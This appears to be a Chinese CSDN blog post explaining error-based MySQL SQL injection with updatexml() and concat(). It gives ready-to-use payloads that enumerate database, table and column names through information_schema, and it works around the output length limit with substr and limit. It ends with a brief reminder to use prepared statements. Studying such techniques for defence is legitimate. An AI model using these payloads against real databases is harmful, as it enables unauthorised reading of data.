注入sql攻击,爆库,爆表,爆字段

本文详细介绍了SQL注入攻击的原理和常见手法,包括利用updatexml和concat函数进行攻击。通过示例展示了如何爆库、爆表和爆字段,并提醒开发者注意限制返回值长度和使用预编译来防止此类攻击。同时,给出了分页查询和处理大量数据的策略,强调了防范SQL注入的重要性。
摘要由CSDN通过智能技术生成


研究sql注入攻击的方式, 自己有空写个demo试下效果

函数

除了这个函数还有其他几个函数可以实现注入sql攻击的效果

updatexml(a,b,c)
参数a: xml文档名字
参数b: xpath表达式
参数c: 替换的值

原理就是将b替换成concat函数, concat函数里又包含sql, mysq基于函数的运算法则, 应该是先执行里面的sql, 然后将查询到的值, 执行concat函数, 得到最终的字符串, 但是肯定不满足xpath表达式要求, 就会抛出错误, 同时将这个字符串抛出.

updatexml(1,concat('~',sql,'~'),1)
就是上面这段了, 包含了updatexml函数和concat函数
自然是先执行concat函数, concat中前后两个~随意只是用于将查询到的值和两边的错误信息区分开.
然后执行updatexml, 前后的1也是随意, 也看到别人的博客用16进制的常量代替.
可以放在select 后面, 也可以放在where条件中, 就和mysql其他函数一样.

注意点

  1. updatexml能返回的值长度有限, 经过测试是31, 所以如果我们查的值超过这个长度, 要用substr这些切割函数来处理
  2. 因为updatexml只支持返回一行数据的值, 所以我们需要用limit. 很多博客说用group_concat函数来将多行结果拼在一行返回, 经过测试也有限制, mysql默认最长是返回1024的长度, 如果数据多了拼成一行肯定不全. 只能用中间表的方式, 将数据limit一次再来group_concat, 或者干脆就直接一条条展示.
  • 爆库
select updatexml(1,concat('~',(select SUBSTR(GROUP_CONCAT(SCHEMA_NAME),1,30) from information_schema.SCHEMATA ),'~'),1);
select updatexml(1,concat('~',(select SUBSTR(GROUP_CONCAT(SCHEMA_NAME),31,60) from information_schema.SCHEMATA ),'~'),1);

亦可以放在where条件后:

select 1 from dual where '' = updatexml(1,concat('~',(select SUBSTR(GROUP_CONCAT(SCHEMA_NAME),1,30) from information_schema.SCHEMATA ),'~'),1);

  • 爆表, 用中间表, 或者1个接着1个表查
-- 爆表1, 一个个表名查, 手动分页限制1条
select updatexml(1,concat('~',(SELECT table_name FROM information_schema.tables where TABLE_SCHEMA  = 'zzzgd' order by CREATE_TIME asc limit 21,1   ),'~'),1);
-- 爆表2, 一次查多个(20条记录),拼成一行后,分多次切割字符串取
select updatexml(1,concat('~',(SELECT SUBSTR(GROUP_CONCAT(table_name),1,30) FROM (select table_name from information_schema.tables where TABLE_SCHEMA  = 'zzzgd' limit 1,20) t),'~'),1);
  • 爆字段
select updatexml(1,CONCAT('~',(select SUBSTR(GROUP_CONCAT(COLUMN_NAME),0,30)  from information_schema.`COLUMNS` c WHERE TABLE_SCHEMA ='zzzgd' and TABLE_NAME = 'tb_user') ,'~'),1)

select updatexml(1,CONCAT('~',(select SUBSTR(GROUP_CONCAT(COLUMN_NAME),31,60)  from information_schema.`COLUMNS` c WHERE TABLE_SCHEMA ='zzzgd' and TABLE_NAME = 'tb_user') ,'~'),1)

防范于未然, 了解它,然后避免它.用好#预编译

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值